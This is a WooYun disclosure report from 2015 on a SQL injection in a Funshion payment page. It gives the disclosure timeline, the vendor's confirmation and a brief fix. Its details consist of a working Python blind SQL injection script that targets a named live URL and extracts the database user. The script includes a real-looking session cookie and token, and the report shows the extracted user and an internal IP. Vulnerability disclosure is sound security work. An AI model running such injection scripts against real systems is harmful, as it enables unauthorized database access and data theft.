当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0164927

漏洞标题:风行某站SQL注入(附py脚本)

相关厂商:北京风行在线技术有限公司

漏洞作者: null_z

提交时间:2015-12-26 18:37

修复时间:2016-02-08 18:23

公开时间:2016-02-08 18:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-26: 细节已通知厂商并且等待厂商处理中
2015-12-26: 厂商已经确认,细节仅向厂商公开
2016-01-05: 细节向核心白帽子及相关领域专家公开
2016-01-15: 细节向普通白帽子公开
2016-01-25: 细节向实习白帽子公开
2016-02-08: 细节向公众公开

简要描述:

~~~

详细说明:

屏幕快照 2015-12-26 14.06.50.png


#!/usr/bin/env python
#-*-coding:utf-8-*-
'''
url='http://www.ibidian.com/pay/pay/get_server_list'
post
gameId=165 and length(user())=26&cache=1451107818
cookie='login_start=1; user_id=cO5txlA6%2FB1rAAq7YXVGXg%3D%3D; user_name=wooyun; nickname=wooyun; user_icon=http%3A%2F%2Fimg.funshion.com%2Fimg%2Fdefault%2Fhead_s_m.jpg; ads_id=1; page_id=1; cookie_timeout=0; token=JM0lbOGuGr9b7rifs51kqqOY9TJ2br_z_mG-glStU_eDUdX4YBAM7xoSFrYQoGsOcLK4Coke14FATjDcImGVazVEJJP9bceszW5Rltw4NK8; encrypted=cO5txlA6%2FB1rAAq7YXVGXg%3D%3D'
'''
import requests
url='http://www.ibidian.com/pay/pay/get_server_list'
cookie='login_start=1; user_id=cO5txlA6%2FB1rAAq7YXVGXg%3D%3D; user_name=wooyun; nickname=wooyun; user_icon=http%3A%2F%2Fimg.funshion.com%2Fimg%2Fdefault%2Fhead_s_m.jpg; ads_id=1; page_id=1; cookie_timeout=0; token=JM0lbOGuGr9b7rifs51kqqOY9TJ2br_z_mG-glStU_eDUdX4YBAM7xoSFrYQoGsOcLK4Coke14FATjDcImGVazVEJJP9bceszW5Rltw4NK8; encrypted=cO5txlA6%2FB1rAAq7YXVGXg%3D%3D'
referer='http://www.ibidian.com/pay/pay/index'
user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36'
payloads='abcdefghijklmnopqrstuvwxyz._@ 0123456789'
user=''
headers={'Cookie':cookie,'Referer':referer,'User-Agent':user_agent}
for i in range(1,27):
for p in payloads:
gameid='165 and if(ascii(substr(user(),{},1))={},1,0)'.format(i,ord(p))
data={'gameId':gameid,'cache':'1451107818'}
req=requests.post(url,data=data,headers=headers)
if len(req.text)>1000:
user=user+p
print '\n[User]: '+user+'\n'
break
print gameid
print '[FINISH]: '+user

漏洞证明:

user= multiverse@192.168.219.191

屏幕快照 2015-12-26 14.04.59.png

修复方案:

intval

版权声明:转载请注明来源 null_z@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-26 18:58

厂商回复:

感谢您对风行安全的观注

最新状态:

暂无